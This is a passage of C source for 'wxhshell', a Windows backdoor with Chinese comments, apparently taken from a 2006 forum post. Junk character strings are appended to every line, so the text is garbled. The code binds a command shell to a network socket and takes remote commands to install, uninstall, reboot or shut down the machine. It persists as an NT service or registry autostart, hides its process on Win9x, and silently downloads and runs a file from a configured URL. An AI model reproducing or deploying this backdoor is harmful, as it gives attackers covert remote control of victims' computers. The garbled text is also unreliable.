  case '?': { 1r.q]^Pq~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 16aaIK  
    break; $[]=6.s  
  } &7<~Q\XZbI  
  // 安装 bqLv81V  
  case 'i': { X0=R @_KY  
    if(Install()) LLU>c]a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Mt/6}  
    else h{TnvI/"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _c #P  
    break; Rd#,Tl\  
    } hA~}6Qn  
  // 卸载 pcEB-boI9  
  case 'r': { PB9<jj;  
    if(Uninstall()) yBr{nFOgdY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S@*@*>s^  
    else XBeHyQp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B j*X_m  
    break; xr?r3Y~^e  
    } %R_8`4IQ  
  // 显示 wxhshell 所在路径 o= 8yp2vG  
  case 'p': { M.l;!U!}  
    char svExeFile[MAX_PATH]; )c!f J7o:  
    strcpy(svExeFile,"\n\r"); xt-;7  
      strcat(svExeFile,ExeFile); DSIa3! 0  
        send(wsh,svExeFile,strlen(svExeFile),0);   () SG  
    break; @r .K>+1  
    } =lffr?#&B  
  // 重启 Dbtw>:=  
  case 'b': { J}.p6E~j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hz/5k%%UX  
    if(Boot(REBOOT)) L Xx 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "o TwMU  
    else { )^r4|WYyt  
    closesocket(wsh); xW^<.@Agm  
    ExitThread(0); 2xjS;lpw  
    } cq!> B{  
    break; r<0 .!j%c  
    } +6TKk~0e^  
  // 关机 VX- f~  
  case 'd': { !WIL|\jbh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hxtu^E/  
    if(Boot(SHUTDOWN)) Zwq_&cJK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IYj-cm  
    else { $AX!L+<!  
    closesocket(wsh); ]V9\4#I4  
    ExitThread(0); 9> (8r+  
    } KpK'?WhX7^  
    break; czT$mKj3  
    } G.BqT\ o'  
  // 获取shell zz$*upxK  
  case 's': { .vb*|So  
    CmdShell(wsh);  k&rl%P  
    closesocket(wsh); t<`BaU  
    ExitThread(0); Karyipn}  
    break; MqNp*n2  
  } :oZ30}  
  // 退出 R!-RSkB  
  case 'x': { L1J"_.=P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dpE+[O_  
    CloseIt(wsh); rA_e3L@v#[  
    break; J M`uIVnNA  
    } AMkjoy3+]  
  // 离开 rv\<Q-uQ8  
  case 'q': { } $OQw'L[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vk$]$6l2  
    closesocket(wsh); ~Ipl'cE  
    WSACleanup(); J NsK   
    exit(1); 2'/ ip@  
    break; x0 j$]$  
        } PvO>}(=  
  } 9oN b= .  
  } T3Tk:r  
oS]XE!^M  
  // 提示信息 "Z,'NL>&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6W$k^<S  
} :vm*miOF  
  } ;Cv x48  
m'a3}vRV(  
  return; k%.IIVRx  
} =0O`VSb  
&%FpNU9  
// shell模块句柄 A]W`r}  
int CmdShell(SOCKET sock) z m_mLk$4H  
{ Dd :Qotu  
STARTUPINFO si; ( vgoG5  
ZeroMemory(&si,sizeof(si)); _,~/KJp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =)'AXtvE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (L q^C=  
PROCESS_INFORMATION ProcessInfo; /}(w{6C  
char cmdline[]="cmd"; o-49o5:1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qd(`~a  
  return 0; k;q|pQ[  
} Un7jzAvQ  
,7<5dIdZ  
// 自身启动模式 cO_En`F  
int StartFromService(void) -2bu`oD `  
{ Gi?"  
typedef struct IhY[c/ |i  
{ >e'6RZRLA  
  DWORD ExitStatus; DzH1q r  
  DWORD PebBaseAddress; UoBmS 5  
  DWORD AffinityMask; 1Hk`i%  
  DWORD BasePriority; OZDnU6  
  ULONG UniqueProcessId; 1iig0l6\m  
  ULONG InheritedFromUniqueProcessId; l3rr2t  
}   PROCESS_BASIC_INFORMATION; ?/5WM%  
m.Yj{u8zX  
PROCNTQSIP NtQueryInformationProcess; A^*0{F?,)  
~X)Aw 3}F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sO,,i]a0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]u G9WT6l  
2E;UHR  
  HANDLE             hProcess; Hq ]f$Q6:  
  PROCESS_BASIC_INFORMATION pbi; +VCG/J  
A )tGB&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -Uh3A\#(  
  if(NULL == hInst ) return 0; 2mRm.e9?  
&,JrhMr\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XE6sFU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f#FAi3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Xy5#wDRC  
_H} 8eU  
  if (!NtQueryInformationProcess) return 0; 7A<X!a  
Pp#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j0_)DG  
  if(!hProcess) return 0; I($0&Y\De  
w&8N6gA14  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FhpS#, Y$  
{(Jbgsxm  
  CloseHandle(hProcess); CC"}aV5  
KxhMPvN'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); THEpW{.E  
if(hProcess==NULL) return 0; +#ufW%ZG  
}M7{~ov#s  
HMODULE hMod; (#KSwWo{ed  
char procName[255]; .z0NMmz0z  
unsigned long cbNeeded; ~XU%_Hz  
"Te[R%aP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8vR Q_  
x *:v]6y  
  CloseHandle(hProcess); s3<gq x-&r  
7n}$|h5D  
if(strstr(procName,"services")) return 1; // 以服务启动 `X)y5*##wq  
 r`-=<@[  
  return 0; // 注册表启动 5NGQWg  
} _?~EWT   
<UsFBF  
// 主模块 (r*"}"ZG  
int StartWxhshell(LPSTR lpCmdLine) 9 696EQ,I  
{ f(S9>c2  
  SOCKET wsl; 7C / ^ Gw  
BOOL val=TRUE; %/;*Ewwb  
  int port=0; W?TvdeBx  
  struct sockaddr_in door; -<0xS.^  
8SGqDaRt  
  if(wscfg.ws_autoins) Install(); " l;=jk]  
yjE $o?A  
port=atoi(lpCmdLine); pf% yEz  
BFnp[93N  
if(port<=0) port=wscfg.ws_port; KwAc Ga}J  
2^w8J w9  
  WSADATA data; 5FMe&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {q!GTO  
zQ~N(Jj?h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k^@dDLr"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W*;r}!ro  
  door.sin_family = AF_INET; *q-VY[2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xYp-Y"a.  
  door.sin_port = htons(port); P(xgIMc H  
`;Od0uh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MX 7 Y1  
closesocket(wsl); ]WYddiF  
return 1; FFtB#  
} #J'V,_ wH  
 MFyi#nq  
  if(listen(wsl,2) == INVALID_SOCKET) { :@4+}  
closesocket(wsl); s|vx2-Cu]  
return 1; 1<G,0Lt  
} f4;V7DJ  
  Wxhshell(wsl); ,K15KN.'  
  WSACleanup(); k 1l K`p  
sK@]|9ciQ  
return 0; P"{yV?CNg  
Hb3..o:  
} 9fy[%M  
 )mH(Hx  
// 以NT服务方式启动 1\aV4T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3Yf~5csY  
{ &3Ry0?RET  
DWORD   status = 0; V'FKgzd  
  DWORD   specificError = 0xfffffff; nx Jx8d"  
*X!+wK-+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LJSx~)@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z|B`n SzH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,&iEn}xG7i  
  serviceStatus.dwWin32ExitCode     = 0; ]E|E4K6g  
  serviceStatus.dwServiceSpecificExitCode = 0; |RH^|2:x9Q  
  serviceStatus.dwCheckPoint       = 0; D}rnp wp{  
  serviceStatus.dwWaitHint       = 0; rRX F@  
uHuL9Q^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1()pKBHf  
  if (hServiceStatusHandle==0) return; Y,m=&U  
*QT7\ht3  
status = GetLastError(); _D{{C  
  if (status!=NO_ERROR) \0;EHB  
{ [5PQrf~Mo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~H4Tr[8a  
    serviceStatus.dwCheckPoint       = 0; =)f.Yf|A*  
    serviceStatus.dwWaitHint       = 0; a|ZJzuqo  
    serviceStatus.dwWin32ExitCode     = status; ] u\-_PP  
    serviceStatus.dwServiceSpecificExitCode = specificError; F6ZL{2$k@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "`V:4uz  
    return; NftR2  
  } U9XOs)^  
C;YtMY:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _4LDzVjNRe  
  serviceStatus.dwCheckPoint       = 0; ?s]?2>p  
  serviceStatus.dwWaitHint       = 0; gWl49'S>+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w x,gth*p  
} L4<=,}KS  
 eI/@ut}v  
// 处理NT服务事件,比如:启动、停止 @Ll^ze&HI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dF^`6-K1  
{ |H%,>r`9S  
switch(fdwControl) p[%B#(]9,  
{ loD:4e1  
case SERVICE_CONTROL_STOP: d z\yP v~  
  serviceStatus.dwWin32ExitCode = 0; &g!yRvM!;Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iwfH~  
  serviceStatus.dwCheckPoint   = 0; <%"CQT6g %  
  serviceStatus.dwWaitHint     = 0; Ku8qn \2"  
  { ei @$_w*TH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V0*9Tnc  
  } {'o\#4 Wk  
  return; mW#p&{  
case SERVICE_CONTROL_PAUSE: G C@U['  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~g&Gi)je  
  break; S^)xioKsJ  
case SERVICE_CONTROL_CONTINUE: 2*Mu"v,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (y?`|=G-xT  
  break; 4K!@9+Mz  
case SERVICE_CONTROL_INTERROGATE: `7_s@4:  
  break; \Bn$b2j!%  
}; b$}@0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AA K}t6  
} E>rWm_G  
&Fl* ,  
// 标准应用程序主函数 \)BDl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T]?QCf  
{ lLZ?&z$  
tSq`_[@  
// 获取操作系统版本 MU~nvs;:  
OsIsNt=GetOsVer(); #zKF/H|_R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zc*gRC  
d<v)ovQJ]  
  // 从命令行安装 _pR7sNeV  
  if(strpbrk(lpCmdLine,"iI")) Install(); fg8U* 7  
|79n 1;+\?  
  // 下载执行文件 +7bV  
if(wscfg.ws_downexe) { OEs!H]v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +#g?rCz  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,7izrf8  
} qjd8Q  
*M()z.N  
if(!OsIsNt) { ] 73BJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 c>e~$b8  
HideProc(); %/=#8v4*  
StartWxhshell(lpCmdLine); +vCW${U  
} }\_[+@*EJ  
else ){XG%nC  
  if(StartFromService()) cG I^IPI  
  // 以服务方式启动 |%-:qk4rG  
  StartServiceCtrlDispatcher(DispatchTable); B$%7U><'  
else w1P8p>vA1  
  // 普通方式启动 i:,37INMt  
  StartWxhshell(lpCmdLine); (eJYv: ^  
$NhKqA`0  
return 0; q=h~zjQ?R  
}
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只看该作者 1 发表于: 2006-10-10
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